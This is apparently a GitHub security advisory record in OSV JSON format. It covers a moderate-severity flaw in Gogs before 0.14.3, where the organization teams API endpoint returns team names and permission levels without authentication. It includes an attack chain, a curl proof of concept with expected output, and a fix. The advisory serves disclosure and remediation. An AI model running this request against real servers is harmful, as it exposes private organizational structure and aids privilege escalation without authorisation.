{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:13:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGogs has an unauthenticated information disclosure vulnerability. The `GET /api/v1/orgs/:orgname/teams` endpoint at `internal/route/api/v1/org_team.go:8` returns all teams for any organization without requiring authentication. The route group at `internal/route/api/v1/api.go:380-385` lacks the `reqToken()` middleware, and the `listTeams()` handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n\n## Affected Versions\n\nGogs (all current versions)\n\n## Vulnerability Details\n\n### Root Cause: Missing reqToken() middleware on org teams route group\n\n`internal/route/api/v1/api.go` lines 380-385:\n\n```go\n// Org teams route group \u2014 no reqToken() middleware\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams) // No auth required\n}, orgAssignment(true))\n```\n\nThe `orgAssignment(true)` middleware only loads the organization object \u2014 it performs no authentication. The `listTeams()` handler at `org_team.go:8` returns all teams unconditionally:\n\n```go\nfunc ListTeams(c *context.APIContext) {\n    org := c.Org.Organization\n    teams, err := database.GetTeamsByOrgID(org.ID)\n    // Returns all teams \u2014 no c.IsLogged check, no permission check\n}\n```\n\nCompare with other org endpoints that correctly require authentication:\n\n```go\nm.Group(\"/orgs/:orgname\", func() {\n    // ... other endpoints ...\n}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth\n```\n\n### Attack Chain\n\n- Attacker sends `GET /api/v1/orgs/target-org/teams` with no authentication\n- `orgAssignment(true)` loads the organization but does not check auth\n- `ListTeams()` queries all teams and returns them\n- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)\n\n## Proof of Concept\n\n```bash\n# List all teams in an organization \u2014 no authentication needed\ncurl -s \"http://TARGET:3000/api/v1/orgs/myorg/teams\" | python3 -m json.tool\n\n# Expected: 200 OK with full team list\n# [\n#   {\n#     \"id\": 1,\n#     \"name\": \"Owners\",\n#     \"description\": \"Admin team\",\n#     \"permission\": \"owner\"\n#   },\n#   {\n#     \"id\": 2,\n#     \"name\": \"backend-devs\",\n#     \"description\": \"Backend development team\",\n#     \"permission\": \"write\"\n#   }\n# ]\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- Enumerate all teams within any organization, including private/internal teams\n- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning\n- Map organizational structure and identify high-value targets (admin/owner teams)\n- Harvest team IDs for use in other API calls that may have weaker authorization checks\n\n## Suggested Remediation\n\n```go\nm.Group(\"/:orgname\", func() {\n    m.Get(\"/teams\", org.ListTeams)\n}, reqToken(), orgAssignment(true))\n```\n\nAdd `reqToken()` middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, `ListTeams()` should verify the authenticated user is a member of the organization.",
  "id": "GHSA-744x-3838-5r56",
  "modified": "2026-06-23T17:13:25Z",
  "published": "2026-06-23T17:13:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8336"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/2ebc0e27069deade992219e10a89fbc44bec8bb9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API"
}